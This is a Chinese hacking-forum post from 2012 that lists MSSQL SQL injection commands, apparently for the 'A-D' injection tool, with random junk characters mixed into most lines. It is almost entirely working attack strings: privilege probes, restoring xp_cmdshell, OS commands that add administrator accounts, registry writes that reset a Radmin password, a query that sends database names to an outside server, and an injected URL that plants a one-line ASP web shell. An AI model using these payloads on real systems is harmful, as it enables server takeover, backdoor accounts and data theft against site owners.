找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1910|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令* T( x" B0 B" r1 u
//看看是什么权限的9 G8 N. g! N" R0 d- V6 @
and 1=(Select IS_MEMBER('db_owner'))% \: z0 Z) V- e" a" m  p# U
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--7 v( Z# |2 X, n8 g# Q

. l4 H; b' |  ^//检测是否有读取某数据库的权限
' j# g& z9 s' K% M+ @and 1= (Select HAS_DBACCESS('master'))
$ C" r" K3 w' P; l, Z8 J% U8 P, RAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --; P( C! q  c% _# R  J

- @, D: ?  ]* H9 F( N: ?* t; @/ ~3 D* q: `) Z" h7 \( l
数字类型
. N) W& o% |5 ]5 Sand char(124)%2Buser%2Bchar(124)=0
0 W9 F2 ]- N- {( J" T: B8 T' P( s0 ]7 i" K
字符类型+ L7 }  Y7 F, ?/ @/ ?: G/ i
' and char(124)%2Buser%2Bchar(124)=0 and ''='
! w6 n# _0 O0 a- z, _5 x0 X/ M% |8 T. b7 Z8 C% Y
搜索类型+ w+ M% F, f) i3 V0 C8 ~
' and char(124)%2Buser%2Bchar(124)=0 and '%'='- k& G7 r5 d. S  g0 i. m7 g/ J6 N* e

7 I  K/ I% ]) C9 Q( N6 i- z" C爆用户名
2 H) \% T+ \# aand user>0
7 r+ t/ p4 c9 O$ O' and user>0 and ''='! ^; G, s: b. x+ Z7 w) x
3 |6 P5 F- u4 ~2 i
检测是否为SA权限' u9 n3 r: w$ \" S- H
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--% B! d: i. D6 H  y& |' P
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
( z( `1 l, I1 L- ^: h$ k  k
5 M& m* T) N& n3 c检测是不是MSSQL数据库
7 i2 l" Y" ^+ l2 c9 \0 B0 V7 q( x: D( Cand exists (select * from sysobjects);--
) V  b/ H5 S8 f  I( ]5 A
- c  n: T5 K$ P; |" @/ j检测是否支持多行
' A3 G9 o( b. i;declare @d int;-- ! p# ^/ g7 E. v6 k3 Y2 z; I
9 x. m' Z* ~/ R% D7 r( P- w. _
恢复 xp_cmdshell- n. M$ @# F) d* C9 ?) m
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
- i3 z& @, `& A% Z3 |7 i
9 k) r) A; t+ F3 t4 u  e9 f  h# C. q1 v) q
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
1 b4 w6 ?* f; u. _  {
" G: i9 A3 ?6 ~0 H' T//-----------------------
8 C" K9 [5 E8 D//      执行命令& F# H# g. c! w$ Y( H$ h
//-----------------------2 ~7 C5 i1 s/ B' a
首先开启沙盘模式:6 W0 O0 U' @& j) K
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
3 X! j! ~$ i' H1 Y6 C) n
  @5 [. r# a& g) y* x然后利用jet.oledb执行系统命令
$ a2 i. h- G' M1 K# K4 [9 `select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
- @! X+ I) U+ i+ t0 ]# s, W8 H  [  Q  J7 ^) S& F
执行命令
) p3 E9 a" |* Y+ V. w  m/ a& l;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--! |+ O- s7 \1 Y5 y

9 c( [, x7 v- I6 z$ zEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
' |! ]/ F# B* e; {5 ~
& _# N! L  o* G% ?8 @  d0 c/ b判断xp_cmdshell扩展存储过程是否存在:
$ K" T) K6 l) U3 Jhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')9 L# ?5 _" w: l/ L
% k/ r$ }4 t  g3 F3 r. ^1 B
写注册表
7 N! s1 M: ^1 c1 g2 y6 G( g/ Jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 Y% N; M5 t0 Y" ~/ m- ]' J2 X6 J

* ?+ ]% {" V4 ?) I  z: dREG_SZ& p( F+ d) t" _$ T
5 s! O+ ^+ g0 G* ?8 u* D
读注册表" B$ j& R2 C% F
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'7 C6 k* m3 c( h5 e' q8 d. V

' U$ g, [5 o5 n/ p2 p4 B读取目录内容/ d( B5 R7 a. d6 {- [
exec master..xp_dirtree 'c:\winnt\system32\',1,18 t- q. f3 n7 d2 c
" c! w) S# l( ~+ @% }

+ U  U  w+ y% j3 F数据库备份  Q2 n* m! Y# |: g, `3 x9 V
backup database pubs to disk = 'c:\123.bak'
5 {  V, U, g7 C  z/ }  m' d$ o
/ h  {* S" d6 b9 I5 L/ p8 J//爆出长度! B8 d, i: e$ H6 w
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--# `# I8 Y. l+ o3 l& j3 d" h% p( q

& ]$ ?# ~" z5 t1 {5 b; k4 |9 |% l/ c( S5 g# `

* F: G2 W' N! F$ v8 R5 H$ ~% N更改sa口令方法:用sql综合利用工具连接后,执行命令:8 X) b, B; w2 p5 w/ A
exec sp_password NULL,'新密码','sa'7 f" N3 `; r& z+ @' r- \8 A/ B
. v$ w! C8 C. T& Q
添加和删除一个SA权限的用户test:
7 ^& J6 g& V  `exec master.dbo.sp_addlogin test,ptlove
: X: A6 U% I$ ^$ R( Oexec master.dbo.sp_addsrvrolemember test,sysadmin0 b+ \- t7 F& X( w1 v5 _

1 ]* P, V2 x1 f+ M删除扩展存储过过程xp_cmdshell的语句:
& F- t1 B5 j1 t. y  }exec sp_dropextendedproc 'xp_cmdshell'
$ Q$ v1 Z- \7 ^' K4 J, s0 ?6 X5 D! f: J1 h  }: o5 l/ w: v+ q7 n) s' ^) ]
添加扩展存储过过程
: ]3 L2 j' x) `- p# G. C- q$ tEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 7 z& j$ A2 A8 }& s4 b
GRANT exec On xp_proxiedadata TO public 7 K$ z. Q: }. p
! Q- M8 n* [/ ]0 B
# [! L/ a2 F- G+ |/ Z# C' l4 R2 H
停掉或激活某个服务。 & m# U1 f8 K8 u/ t8 ]6 L9 {

! R! Q& b" C* ]" qexec master..xp_servicecontrol 'stop','schedule'
2 U( e  Y7 t  u7 [) N, J" yexec master..xp_servicecontrol 'start','schedule'0 z# O2 C5 b: M4 S

; q% |/ d3 a3 `% ~% idbo.xp_subdirs
+ E2 a0 A" X* w& `5 c" D
4 n& V; S. ?4 r9 ~  e  s4 J7 _只列某个目录下的子目录。
$ Q! O) ?  J; ~, u$ hxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
, E& U+ g* l) r- a; \1 w; j! l1 L3 l  z/ N, j( }0 n# Y0 o9 V
dbo.xp_makecab; q! Z, h- u+ G9 G' E- {2 n

* q: C1 k; D8 d7 N将目标多个档案压缩到某个目标档案之内。5 C+ {3 m* {% Q
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。, x6 s: Q4 f& x. v# q

* q2 K1 w8 O- J* \" K# s( b  udbo.xp_makecab5 _& V$ a, r" q0 T2 g
'c:\test.cab','mszip',1," [4 S5 M' x, R+ |. J1 a6 \+ a
'C:\Inetpub\wwwroot\SQLInject\login.asp',
! c/ }; ^) ^8 e2 h/ K. ['C:\Inetpub\wwwroot\SQLInject\securelogin.asp'  l: g) h9 g* A4 `; A  m& e( t% l) }

, a! g& O4 d6 j4 z5 z" F( u. P6 jxp_terminate_process
, E4 X$ M3 }. S, B$ ^9 _# M  D2 `
3 x9 q& t2 a8 r/ O% J停掉某个执行中的程序,但赋予的参数是 Process ID。
/ B$ a4 P* w* f# K+ k' r利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
% X9 b/ @. @& A- K& Z
, `1 t! N6 ?: r/ b2 z+ w8 B! J# Vxp_terminate_process 2484( m4 o) I# [3 Q5 e9 e% s1 ?! W0 q
- R0 l& o. Y! u% E3 `# ^
xp_unpackcab
% o, B2 I' P& ?8 k5 {: ?* o8 p' z
! H8 S0 J. R, G1 E3 n! v解开压缩档。
; F0 O+ A5 Q6 q: j
% g4 o( s8 e( c7 ~  ]) Uxp_unpackcab 'c:\test.cab','c:\temp',1  ?/ Q% t! W3 U

8 k- `* c7 ]3 v; c) f( u, f
$ T3 v+ t0 S) v8 m2 _/ Q6 D0 @" X9 g某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234. C0 J( ^/ t4 ^! G

% |6 U# ]+ J! u+ Y+ wcreate database lcx;
+ a5 M7 ?. K+ R1 U: FCreate TABLE ku(name nvarchar(256) null);0 p5 b/ x& V& g9 j: f/ G& `
Create TABLE biao(id int NULL,name nvarchar(256) null);
9 k8 y/ r: v: h. T: u: @6 s9 `/ Y( i
//得到数据库名
. p7 F( U1 o) L- T6 X% vinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
# ]  {. n: t' ~8 h: ~9 B- J
" K  u; D6 q* y4 y0 U, Y: Z2 R' y, W5 j3 ?9 ~' ]# _
//在Master中创建表,看看权限怎样3 b. F0 F" h+ d7 a
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--- t3 V  x& J( Z% j

' E- g6 D8 c* N% c0 K% u& k, T3 s用 sp_makewebtask直接在web目录里写入一句话马:
0 g  j2 q' J8 ?' j6 @+ G& @; Z) chttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--) A5 N  P% q2 ^: V4 z
' Y. A0 h& Q! C0 E
//更新表内容
* r8 {4 t: W/ Z' Y  RUpdate films SET kind = 'Dramatic' Where id = 123% Y9 D/ j' k. I9 X: |! ~: S

+ P; |8 t( |& ^# s8 B3 E: y& G//删除内容
. ~2 `- ]2 }) R* Z) Gdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表